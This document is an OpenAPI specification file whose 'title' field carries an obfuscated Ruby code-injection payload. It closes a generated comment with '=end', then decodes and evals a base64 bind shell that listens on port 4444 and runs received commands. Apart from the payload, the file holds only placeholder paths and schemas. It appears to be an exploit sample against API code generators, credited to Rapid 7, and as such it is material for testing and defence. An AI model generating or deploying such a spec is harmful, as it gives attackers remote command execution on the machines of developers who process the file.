{ "openapi": "3.0.0", "servers": [ { "url": "http://localhost/" } ], "info": { "description": "A", "version": "1.0.0", "title": "=end code = %(cmVxdWlyZSAnc29ja2V0JztzPVRDUFNlcnZlci5uZXcoNDQ0NCk7Yz1zLmFjY2VwdDtzLmNsb3NlOyRzdGRpbi5yZW9wZW4oYyk7JHN0ZG91dC5yZW9wZW4oYyk7JHN0ZGVyci5yZW9wZW4oYyk7JHN0ZGluLmVhY2hfbGluZXt8bHxsPWwuc3RyaXA7bmV4dCBpZiBsLmxlbmd0aD09MDsoSU8ucG9wZW4obCwicmIiKXt8ZmR8IGZkLmVhY2hfbGluZSB7fG98IGMucHV0cyhvLnN0cmlwKSB9fSkgcmVzY3VlIG5pbCB9).unpack(%(m0)).first if RUBY_PLATFORM =~ /mswin|mingw|win32/ inp = IO.popen(%(ruby), %(wb)) rescue nil if inp inp.write(code) inp.close end else if ! Process.fork() eval(code) rescue nil end end=begin ", "contact": { "name": "Rapid 7", "url": "https://www.rapid7.com/", "email": "info@rapid7.com" }, "license": { "name": "BSD-3-clause", "url": "https://opensource.org/licenses/BSD-3-Clause" } }, "tags": [ { "name": "default" } ], "paths": { "/a": { "summary": "an example path", "get": { "operationId": "get_a", "tags": [ "default" ], "description": "D", "responses": { "200": { "description": "E", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/d" } } } } } } } }, "components": { "schemas": { "d": { "type": "object", "description": "F", "properties": { "id": { "type": "integer", "format": "int64" } } } } } }